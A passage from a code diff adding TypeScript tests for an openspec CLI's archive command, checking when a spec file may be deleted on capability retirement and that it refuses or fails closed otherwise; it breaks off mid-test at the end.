const mockConfirm = confirm as unknown as ReturnType<typeof vi.fn>; + + const changeName = 'subtask-prompt'; + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(changeDir, { recursive: true }); + await fs.writeFile( + path.join(changeDir, 'tasks.md'), + '- [x] 1.1 Parent task\n - [ ] 1.1.1 Unfinished sub-task\n' + ); + + // Drain answers queued by earlier tests: vi.clearAllMocks() resets calls + // but not a pending mockResolvedValueOnce queue. + mockConfirm.mockReset(); + // First confirm is the skip-validation prompt, second is the task warning. + mockConfirm.mockResolvedValueOnce(true); + mockConfirm.mockResolvedValueOnce(false); + + await archiveCommand.execute(changeName, { noValidate: true }); + + expect(mockConfirm).toHaveBeenCalledWith({ + message: 'Warning: 1 incomplete task(s) found. Continue?', + default: false, + }); + expect(console.log).toHaveBeenCalledWith('Archive cancelled.'); + await expect(fs.access(changeDir)).resolves.not.toThrow(); + }); + }); + + // A delta whose REMOVED entries cover every requirement rebuilds the main + // spec empty, and an empty spec can never validate. Every such archive used + // to abort with "Spec must have at least one requirement", leaving no way to + // retire a capability (#1302). + describe('capability retirement (#1302)', () => { + const REQUIREMENT = [ + '### Requirement: The system SHALL provide a legacy layer', + 'The system SHALL provide a legacy layer to existing consumers.', + '', + '#### Scenario: Layer is available', + '- **WHEN** a consumer imports the layer', + '- **THEN** the legacy layer is available', + ].join('\n'); + + const PURPOSE = + 'Holds the behavior contract for the legacy layer that consumers still depend on today.'; + + function mainSpec(name: string, requirements = REQUIREMENT): string { + return `# ${name} Specification\n\n## Purpose\n${PURPOSE}\n\n## Requirements\n\n${requirements}\n`; + } + + const REMOVE_ALL = [ + '# Legacy Layer - Changes', + '', + '## REMOVED Requirements', + '', + '### Requirement: The system SHALL provide a legacy layer', + '**Reason**: The capability is retired.', + '**Migration**: None; consumers already moved off it.', + '', + ].join('\n'); + + /** The last thing printed, which in JSON mode is the one payload. */ + function lastJsonPayload(): string { + const calls = (console.log as unknown as ReturnType<typeof vi.fn>).mock.calls; + return String(calls[calls.length - 1][0]); + } + + /** + * A change that is allowed to retire a capability. Every retirement case + * below carries the marker, because without it archive aborts - which is the + * whole point of the marker, and has its own tests further down. + */ + async function createChange( + changeName: string, + capability: string, + deltaSpec: string, + options: { declareRetirement?: boolean } = {} + ): Promise<string> { + const changeDir = path.join(tempDir, 'openspec', 'changes', changeName); + await fs.mkdir(path.join(changeDir, 'specs', ...capability.split('/')), { + recursive: true, + }); + await fs.writeFile(path.join(changeDir, 'tasks.md'), '- [x] Task 1\n'); + await fs.writeFile( + path.join(changeDir, 'specs', ...capability.split('/'), 'spec.md'), + deltaSpec + ); + if (options.declareRetirement !== false) { + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nretire_capabilities: true\n' + ); + } + return changeDir; + } + + // The marker is what makes the deletion the author's decision rather than + // an inference from the shape of a delta. Without it archive behaves exactly + // as it did before #1302 - it aborts on a spec it cannot write - except that + // the abort now names the way out. + describe('retire_capabilities marker', () => { + async function setUpUnmarked(changeName: string, metadata?: string): Promise<string> { + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL, { + declareRetirement: false, + }); + if (metadata !== undefined) { + await fs.writeFile(path.join(changeDir, '.openspec.yaml'), metadata); + } + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + return path.join(mainSpecDir, 'spec.md'); + } + + it('aborts without the marker, naming it, and deletes nothing', async () => { + const target = await setUpUnmarked('retire-unmarked'); + const original = await fs.readFile(target, 'utf-8'); + + await archiveCommand.execute('retire-unmarked', { yes: true }); + + // Pre-#1302 behavior, unchanged: the unwritable spec aborts the archive. + expect(process.exitCode).toBe(1); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining(VALIDATION_MESSAGES.SPEC_NO_REQUIREMENTS) + ); + // ...but the dead end now comes with its own way out. + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('add `retire_capabilities: true`') + ); + // Nothing touched: not the spec, not the change. + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(original); + await expect( + fs.access(path.join(tempDir, 'openspec', 'changes', 'retire-unmarked')) + ).resolves.not.toThrow(); + }); + + it('refuses a marker it cannot honor, and says why', async () => { + // Mirrors skip_specs: a marker in metadata that fails the contract is + // not a marker. Silently ignoring it would be the worst outcome - the + // author believes they authorised the deletion. + const target = await setUpUnmarked( + 'retire-bad-marker', + 'schema: spec-driven\nretire_capabilities: yes-please\n' + ); + + await archiveCommand.execute('retire-bad-marker', { yes: true }); + + expect(process.exitCode).toBe(1); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('cannot be honored') + ); + await expect(fs.access(target)).resolves.not.toThrow(); + }); + + it('treats retire_capabilities: false as not declared', async () => { + const target = await setUpUnmarked( + 'retire-false-marker', + 'schema: spec-driven\nretire_capabilities: false\n' + ); + + await archiveCommand.execute('retire-false-marker', { yes: true }); + + expect(process.exitCode).toBe(1); + // An explicit false is the opposite of setting the marker, so it must + // not be reported as an unhonorable one. + expect(console.log).not.toHaveBeenCalledWith( + expect.stringContaining('cannot be honored') + ); + await expect(fs.access(target)).resolves.not.toThrow(); + }); + + it('reports the missing marker as the fix in --json', async () => { + await setUpUnmarked('retire-unmarked-json'); + + await archiveCommand + .execute('retire-unmarked-json', { yes: true, json: true }) + .catch(() => undefined); + + const payload = JSON.parse(lastJsonPayload()); + expect(payload.archive).toBeNull(); + expect(JSON.stringify(payload.status)).toContain('retire_capabilities: true'); + }); + + it('does not name the marker when retirement would not have fixed it', async () => { + // A spec broken in some further way is not a retirement candidate, so + // pointing at the marker would send the author after the wrong fix. + const changeDir = await createChange('retire-also-broken-marker', 'legacy-layer', REMOVE_ALL, { + declareRetirement: false, + }); + expect(changeDir).toBeTruthy(); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + // No `## Purpose`: a second, independent validation error. + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + `# legacy-layer Specification\n\n## Requirements\n\n${REQUIREMENT}\n` + ); + + await archiveCommand.execute('retire-also-broken-marker', { yes: true }); + + expect(process.exitCode).toBe(1); + expect(console.log).not.toHaveBeenCalledWith( + expect.stringContaining('add `retire_capabilities: true`') + ); + }); + }); + + // A second `## Requirements` section is where every parser here stops short: + // `extractRequirementsSection` binds to the first one, so the validator's + // lookup, the block parser, the residual-heading veto and the lost-section + // report all ignore what follows. A spec shaped like this passed + // `validate --strict` and was then deleted with a live SHALL requirement in + // it, named nowhere in the report. + it('refuses to retire a spec that has a second Requirements section', async () => { + const changeName = 'retire-two-sections'; + await createChange(changeName, 'audit', [ + '# Audit - Changes', + '', + '## REMOVED Requirements', + '', + '### Requirement: Audit trail', + '**Reason**: Superseded.', + '**Migration**: None.', + '', + ].join('\n')); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'audit'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const original = [ + '# audit Specification', + '', + '## Purpose', + PURPOSE, + '', + '## Requirements', + '', + '### Requirement: Audit trail', + 'The system SHALL record an audit entry for every privileged action.', + '', + '#### Scenario: Entry recorded', + '- **WHEN** a privileged action runs', + '- **THEN** an entry is recorded', + '', + '## Requirements', + '', + '### Seven year retention', + 'The system SHALL retain audit entries for seven years.', + '', + '#### Scenario: Early purge refused', + '- **WHEN** a purge is attempted early', + '- **THEN** it is refused', + '', + ].join('\n'); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), original); + + // The spec as written is valid, which is what made the deletion silent. + const before = await new Validator().validateSpecContent('audit', original, 'strict'); + expect(before.valid).toBe(true); + + await archiveCommand.execute(changeName, { yes: true }); + + // Aborts instead, exactly as it did before retirement existed... + expect(process.exitCode).toBe(1); + // ...and the second section's requirement is still there. + await expect(fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8')).resolves.toBe( + original + ); + }); + + it('refuses to retire duplicate requirement names from the main spec', async () => { + const changeName = 'retire-duplicate-requirement'; + await createChange( + changeName, + 'audit', + '# Audit - Changes\n\n## REMOVED Requirements\n\n### Requirement: Same\n**Reason**: x.\n**Migration**: None.\n' + ); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'audit'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const original = [ + '# audit Specification', + '', + '## Purpose', + PURPOSE, + '', + '## Requirements', + '', + '### Requirement: Same', + 'The system SHALL keep the first behavior.', + '', + '#### Scenario: First', + '- **WHEN** the first path runs', + '- **THEN** the first behavior remains', + '', + '### Requirement: Same', + 'The system SHALL keep the independently authored second behavior.', + '', + '#### Scenario: Second', + '- **WHEN** the second path runs', + '- **THEN** the second behavior remains', + '', + ].join('\n'); + const target = path.join(mainSpecDir, 'spec.md'); + await fs.writeFile(target, original); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('duplicates the requirement declared') + ); + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(original); + await expect( + fs.access(path.join(tempDir, 'openspec', 'changes', changeName)) + ).resolves.not.toThrow(); + }); + + it('refuses to retire an H1 section written after Purpose', async () => { + const changeName = 'retire-h1-after-purpose'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const original = [ + '# legacy-layer Specification', + '', + '## Purpose', + PURPOSE, + '', + '# Architecture Notes', + 'Do not delete this independently authored section.', + '', + '## Requirements', + '', + REQUIREMENT, + '', + ].join('\n'); + const target = path.join(mainSpecDir, 'spec.md'); + await fs.writeFile(target, original); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + await expect(fs.readFile(target, 'utf-8')).resolves.toBe(original); + await expect( + fs.access(path.join(tempDir, 'openspec', 'changes', changeName)) + ).resolves.not.toThrow(); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('content the merge cannot safely account for') + ); + }); + + // `extractRequirementsSection` masks fences only, `findHeadings` masks HTML + // comments as well. That one-mask difference was a data-loss bug: a `##` + // inside a multi-line comment ends the section for the merge, so everything + // below it became a tail no comment-masking scan could see - and a + // `validate --strict`-clean spec was deleted with a live SHALL in it. + it('refuses to retire when a commented-out heading hid the section boundary', async () => { + const changeName = 'retire-comment-boundary'; + await createChange( + changeName, + 'audit', + '# Audit - Changes\n\n## REMOVED Requirements\n\n### Requirement: Audit trail\n**Reason**: x.\n**Migration**: None.\n' + ); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'audit'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const original = [ + '# audit Specification', + '', + '## Purpose', + PURPOSE, + '', + '## Requirements', + '', + '### Requirement: Audit trail', + 'The system SHALL record an audit entry.', + '', + '#### Scenario: Recorded', + '- **WHEN** a privileged action runs', + '- **THEN** an entry is recorded', + '', + '<!-- duplicate header left over from an old split', + '## Purpose', + '-->', + '', + '### Seven year retention', + 'The system SHALL retain audit entries for seven years.', + '', + '#### Scenario: Early purge refused', + '- **WHEN** a purge is attempted early', + '- **THEN** it is refused', + '', + ].join('\n'); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), original); + + // Valid as written, which is what made the deletion silent. + expect((await new Validator().validateSpecContent('audit', original, 'strict')).valid).toBe( + true + ); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + await expect(fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8')).resolves.toBe( + original + ); + // And the author is told why their marker was refused. + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('content the merge cannot safely account for') + ); + }); + + // The guard audits the WHOLE file, not a couple of its slices. A block's + // raw carries everything the parser did not read as a new header - prose, + // tables, fences - and that content was deleted while the report said only + // "Purpose" was lost. Content above the requirements section had the same + // hole. + it.each([ + { + where: 'inside a removed block', + spec: [ + '# legacy-layer Specification', + '', + '## Purpose', + PURPOSE, + '', + '## Requirements', + '', + REQUIREMENT, + '', + 'MIGRATION RUNBOOK (authored by hand, not a heading):', + 'Step 1: rotate the customer keys before 2026-08-01.', + '', + '| host | owner |', + '| --- | --- |', + '| db-1 | payments |', + '', + ].join('\n'), + quoted: 'MIGRATION RUNBOOK', + }, + { + where: 'above the requirements section', + spec: [ + '# legacy-layer Specification', + '', + 'NOTE TO MAINTAINERS: the escrow keys live in the "legacy" vault.', + '', + '## Purpose', + PURPOSE, + '', + '## Requirements', + '', + REQUIREMENT, + '', + ].join('\n'), + quoted: 'NOTE TO MAINTAINERS', + }, + // Not a case: prose between `## Purpose` and `## Requirements` IS the + // Purpose body - the section runs to the next `##` - and the retirement + // warning already names Purpose as going with the file. + ])('refuses to retire with authored content $where', async ({ spec, quoted }) => { + const changeName = `retire-authored-${quoted.split(' ')[0].toLowerCase()}`; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), spec); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + await expect(fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8')).resolves.toBe(spec); + // And the author is told which lines stood in the way. + expect(console.log).toHaveBeenCalledWith(expect.stringContaining(quoted)); + }); + + it('refuses to retire when a note is bulleted below the scenarios', async () => { + // Every bullet used to count as a scenario's own, so an operational note + // written under the last scenario was deleted with the file and named + // nowhere. A scenario's bullets run unbroken beneath its header; a blank + // line ends them. + const changeName = 'retire-bulleted-note'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const spec = [ + '# legacy-layer Specification', + '', + '## Purpose', + PURPOSE, + '', + '## Requirements', + '', + REQUIREMENT, + '', + '- IMPORTANT: escrow keys live in the "legacy" vault; rotate before deleting.', + '', + ].join('\n'); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), spec); + expect((await new Validator().validateSpecContent('legacy-layer', spec, 'strict')).valid).toBe( + true + ); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + await expect(fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8')).resolves.toBe(spec); + expect(console.log).toHaveBeenCalledWith(expect.stringContaining('escrow keys')); + }); + + it('still retires a spec whose requirement uses lists and code examples', async () => { + // The guard must not refuse ordinary spec prose: a numbered list, a fenced + // example, and a statement opening with inline code are all a + // requirement's own content. + // + // Known limitation, deliberate: a scenario whose bullets are split by a + // blank line reads the same as a note bulleted below the scenario, and no + // line-based rule separates them. Such a spec is REFUSED, never deleted - + // the abort names the lines and the author moves them or deletes the file + // by hand. + const changeName = 'retire-rich-requirement'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + [ + '# legacy-layer Specification', + '', + '## Purpose', + PURPOSE, + '', + '## Requirements', + '', + '### Requirement: The system SHALL provide a legacy layer', + '`openspec legacy` SHALL provide a legacy layer to existing consumers.', + '', + '#### Scenario: Layer is available', + '- **WHEN** a consumer runs `openspec legacy --check`', + '- **THEN** these happen in order:', + ' 1. the layer loads', + ' 2. the consumer proceeds', + '', + ].join('\n') + ); + + await archiveCommand.execute(changeName, { yes: true }); + + await expect(fs.access(path.join(mainSpecDir, 'spec.md'))).rejects.toThrow(); + }); + + it.each([ + { what: 'a setext heading', body: ['Data Migration Notes', '--------------------', 'Export the table by hand first.'] }, + { what: 'a raw HTML heading', body: ['<h2>Data Migration Notes</h2>', 'Export the table by hand first.'] }, + ])('refuses to retire when $what opens a section inside Purpose', async ({ body }) => { + // `##` is not the only way to open a section. Treating everything up to + // the next ATX `##` as Purpose body swallowed these whole and deleted + // them, reported as nothing but "Purpose". + const changeName = `retire-purpose-span-${body.length}`; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const spec = [ + '# legacy-layer Specification', + '', + '## Purpose', + PURPOSE, + '', + ...body, + '', + '## Requirements', + '', + REQUIREMENT, + '', + ].join('\n'); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), spec); + expect((await new Validator().validateSpecContent('legacy-layer', spec, 'strict')).valid).toBe( + true + ); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + await expect(fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8')).resolves.toBe(spec); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Data Migration Notes') + ); + }); + + it('refuses to retire a Setext section absorbed before a requirement scenario', async () => { + const changeName = 'retire-setext-inside-requirement'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const spec = [ + '# legacy-layer Specification', + '', + '## Purpose', + PURPOSE, + '', + '## Requirements', + '', + '### Requirement: The system SHALL provide a legacy layer', + 'The system SHALL provide a legacy layer to existing consumers.', + '', + 'Migration Notes', + '---------------', + 'Keep this hand-written migration note.', + '', + '#### Scenario: Layer is available', + '- **WHEN** a consumer imports the layer', + '- **THEN** the legacy layer is available', + '', + ].join('\n'); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), spec); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + await expect(fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8')).resolves.toBe(spec); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Migration Notes') + ); + }); + + it('never retires under --no-validate, whatever else the spec holds', async () => { + // Isolates that conjunct: the spec is otherwise a clean retirement + // candidate, so only the flag can be stopping it. + const changeName = 'retire-novalidate-isolated'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + + await archiveCommand.execute(changeName, { yes: true, noValidate: true }); + + // Written, not deleted. + await expect(fs.access(path.join(mainSpecDir, 'spec.md'))).resolves.not.toThrow(); + }); + + it('names the marker only when retiring would really fix it', async () => { + // The same two-section spec, with no marker. The hint must stay quiet: + // adding the marker would not have made this spec writable. + const changeName = 'retire-two-sections-unmarked'; + await createChange( + changeName, + 'audit', + '# Audit - Changes\n\n## REMOVED Requirements\n\n### Requirement: Audit trail\n**Reason**: x.\n**Migration**: None.\n', + { declareRetirement: false } + ); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'audit'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + `# audit Specification\n\n## Purpose\n${PURPOSE}\n\n## Requirements\n\n### Requirement: Audit trail\nThe system SHALL audit.\n\n#### Scenario: S\n- **WHEN** w\n- **THEN** t\n\n## Requirements\n\n### Kept\nThe system SHALL keep this.\n\n#### Scenario: K\n- **WHEN** w\n- **THEN** t\n` + ); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + expect(console.log).not.toHaveBeenCalledWith( + expect.stringContaining('add `retire_capabilities: true`') + ); + }); + + it.skipIf(process.platform === 'win32')( + 'gives guidance, not a broken command, when the spec lived outside the repo', + async () => { + // `git checkout HEAD -- <absolute path>` is rejected from a different + // worktree however it is quoted, and an unquoted path with a space + // splits when pasted. A store-selected root and a symlinked capability + // directory both produce exactly that path, so those cases say where the + // file was instead of offering a command that cannot run. + const outside = path.join(tempDir, 'out side'); + await fs.mkdir(outside, { recursive: true }); + await fs.writeFile(path.join(outside, 'spec.md'), mainSpec('legacy-layer')); + await fs.mkdir(path.join(tempDir, 'openspec', 'specs'), { recursive: true }); + await fs.symlink(outside, path.join(tempDir, 'openspec', 'specs', 'legacy-layer'), 'dir'); + const changeName = 'retire-outside'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + + await expect( + archiveCommand.execute(changeName, { yes: true }) + ).rejects.toThrow(/resolves outside/); + await expect(fs.access(path.join(outside, 'spec.md'))).resolves.not.toThrow(); + } + ); + + it('does not promise git recovery outright, and names the real path', async () => { + // Archive cannot know whether the file is in HEAD - a spec an earlier + // archive created and nobody committed is not - so the recovery line is + // phrased as the condition it is rather than as a promise. + const changeName = 'retire-recovery-wording'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + + await archiveCommand.execute(changeName, { yes: true, json: true }); + + const notes = JSON.parse(lastJsonPayload()).archive.warnings.join('\n'); + expect(notes).toContain( + 'If it was committed, restore it with: git checkout HEAD -- ":(top)openspec/specs/legacy-layer/spec.md"' + ); + expect(notes).not.toContain('Recover with: git checkout'); + }); + + it('refuses a marker sitting in unparseable YAML', async () => { + // Fail-closed branch: metadata the rest of the CLI cannot read must never + // authorise a deletion, and the abort has to say why. + const changeName = 'retire-broken-yaml'; + const changeDir = await createChange(changeName, 'legacy-layer', REMOVE_ALL, { + declareRetirement: false, + }); + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: spec-driven\nretire_capabilities: true\n bad: [oops\n' + ); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('the file is not valid YAML') + ); + await expect(fs.access(path.join(mainSpecDir, 'spec.md'))).resolves.not.toThrow(); + }); + + it('reports an unlink failure instead of archiving over a spec it could not delete', async () => { + // If the unlink error were swallowed, archive would complete and leave a + // main spec that `openspec validate` rejects - the exact state #1302 is + // about, reached silently. + const capability = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(capability, { recursive: true }); + const target = path.join(capability, 'spec.md'); + await fs.writeFile(target, mainSpec('legacy-layer')); + const realUnlink = fs.unlink.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'unlink').mockImplementation( + async (candidate: Parameters<typeof fs.unlink>[0]) => { + if (String(candidate) === target) { + throw Object.assign(new Error('permission denied'), { code: 'EACCES' }); + } + return realUnlink(candidate); + } + ); + + await expect( + retireSpec( + { id: 'legacy-layer', source: 'x', target, exists: true }, + path.join(tempDir, 'openspec', 'specs'), + { silent: true } + ) + ).rejects.toThrow(/Could not retire capability 'legacy-layer'.*Remove it by hand/s); + + await expect(fs.access(target)).resolves.not.toThrow(); + }); + + it('fails closed when it cannot verify a retirement target', async () => { + const capability = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(capability, { recursive: true }); + const target = path.join(capability, 'spec.md'); + await fs.writeFile(target, mainSpec('legacy-layer')); + const realLstat = fs.lstat.bind(fs); + onTestFinished(() => vi.restoreAllMocks()); + vi.spyOn(fs, 'lstat').mockImplementation(async (candidate, options) => { + if (String(candidate) === target) { + throw Object.assign(new Error('permission denied'), { code: 'EACCES' }); + } + return realLstat(candidate, options); + }); + + await expect( + retireSpec( + { id: 'legacy-layer', source: 'x', target, exists: true }, + path.join(tempDir, 'openspec', 'specs'), + { silent: true } + ) + ).rejects.toThrow(/could not verify .* before deletion.*permission denied/s); + + await expect(fs.access(target)).resolves.not.toThrow(); + }); + + it('retires the capability when a delta removes its last requirement', async () => { + const changeName = 'retire-legacy-layer'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + + await archiveCommand.execute(changeName, { yes: true }); + + // The spec and the directory it was alone in are gone from the live tree... + await expect(fs.access(mainSpecDir)).rejects.toThrow(); + // ...but the specs root itself is never pruned. + await expect( + fs.access(path.join(tempDir, 'openspec', 'specs')) + ).resolves.not.toThrow(); + // The archive completed rather than aborting. + expect(process.exitCode).not.toBe(1); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Retiring openspec/specs/legacy-layer/spec.md') + ); + // The one thing a reader needs that the path does not tell them: how to + // get the file back. + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining( + 'If it was committed, restore it with: git checkout HEAD -- ":(top)openspec/specs/legacy-layer/spec.md"' + ) + ); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Totals: + 0, ~ 0, - 1, → 0') + ); + expect(console.log).toHaveBeenCalledWith( + expect.stringContaining('Specs updated successfully.') + ); + await expect(fs.access(path.join(tempDir, 'openspec', 'changes', changeName))).rejects.toThrow(); + }); + + it('prunes empty parent directories in a nested layout but keeps siblings', async () => { + const changeName = 'retire-nested'; + await createChange(changeName, 'platform/legacy-layer', REMOVE_ALL); + const nestedDir = path.join(tempDir, 'openspec', 'specs', 'platform', 'legacy-layer'); + const siblingDir = path.join(tempDir, 'openspec', 'specs', 'platform', 'kept'); + await fs.mkdir(nestedDir, { recursive: true }); + await fs.mkdir(siblingDir, { recursive: true }); + await fs.writeFile(path.join(nestedDir, 'spec.md'), mainSpec('legacy-layer')); + await fs.writeFile(path.join(siblingDir, 'spec.md'), mainSpec('kept')); + + await archiveCommand.execute(changeName, { yes: true }); + + await expect(fs.access(nestedDir)).rejects.toThrow(); + // The sibling keeps the shared parent alive. + await expect(fs.access(path.join(siblingDir, 'spec.md'))).resolves.not.toThrow(); + }); + + it('leaves a capability directory that still holds other files', async () => { + const changeName = 'retire-with-notes'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), mainSpec('legacy-layer')); + await fs.writeFile(path.join(mainSpecDir, 'NOTES.md'), 'Kept by hand.\n'); + + await archiveCommand.execute(changeName, { yes: true }); + + await expect(fs.access(path.join(mainSpecDir, 'spec.md'))).rejects.toThrow(); + await expect(fs.readFile(path.join(mainSpecDir, 'NOTES.md'), 'utf-8')).resolves.toBe( + 'Kept by hand.\n' + ); + }); + + it('archives a REMOVED-only delta whose main spec was already deleted', async () => { + // The issue's second dead end: pre-deleting the spec made the delta look + // like a create, which landed on an empty spec and failed the same way. + const changeName = 'retire-already-gone'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).not.toBe(1); + // Nothing was recreated. + await expect( + fs.access(path.join(tempDir, 'openspec', 'specs', 'legacy-layer')) + ).rejects.toThrow(); + await expect( + fs.access(path.join(tempDir, 'openspec', 'changes', changeName)) + ).rejects.toThrow(); + }); + + // The requirement-block count and the validator do NOT agree on what a + // requirement is: MarkdownParser accepts any `###` heading under + // `## Requirements`, while the delta block parser only indexes canonical + // `### Requirement:` headers and sweeps the rest into the preamble - which + // survives into the rebuilt spec. Retiring on the block count alone deleted + // specs that validate cleanly, so the validator is the only oracle. + it('does not retire a spec that still validates without any requirement blocks', async () => { + const changeName = 'retire-preamble-heading'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const preambleRequirement = [ + '### Notes on scope', + 'The system SHALL treat the notes below as normative for the legacy layer.', + '', + '#### Scenario: Notes apply', + '- **WHEN** a reader consults the notes', + '- **THEN** the notes apply', + ].join('\n'); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + await fs.writeFile( + path.join(mainSpecDir, 'spec.md'), + mainSpec('legacy-layer', `${preambleRequirement}\n\n${REQUIREMENT}`) + ); + + await archiveCommand.execute(changeName, { yes: true }); + + const updated = await fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8'); + expect(updated).toContain('### Notes on scope'); + expect(process.exitCode).not.toBe(1); + // The rebuilt spec is still a valid spec, so it is written, not deleted. + const report = await new Validator().validateSpecContent('legacy-layer', updated); + expect(report.valid).toBe(true); + }); + + it('aborts, exactly as before, when the removal was already synced', async () => { + // Nothing was removed this run, so this is not a retirement: the spec is + // already requirement-less and stays the author's to fix. Deleting on a + // no-op delta would destroy a file the change never touched, and archiving + // anyway would leave a main spec that `validate` rejects. + const changeName = 'retire-noop'; + await createChange(changeName, 'legacy-layer', REMOVE_ALL); + const mainSpecDir = path.join(tempDir, 'openspec', 'specs', 'legacy-layer'); + await fs.mkdir(mainSpecDir, { recursive: true }); + const emptied = `# legacy-layer Specification\n\n## Purpose\n${PURPOSE}\n\n## Requirements\n`; + await fs.writeFile(path.join(mainSpecDir, 'spec.md'), emptied); + + await archiveCommand.execute(changeName, { yes: true }); + + expect(process.exitCode).toBe(1); + await expect(fs.readFile(path.join(mainSpecDir, 'spec.md'), 'utf-8')).resolves.toBe(emptied); + // The change is still there to fix and retry. + await expect( + 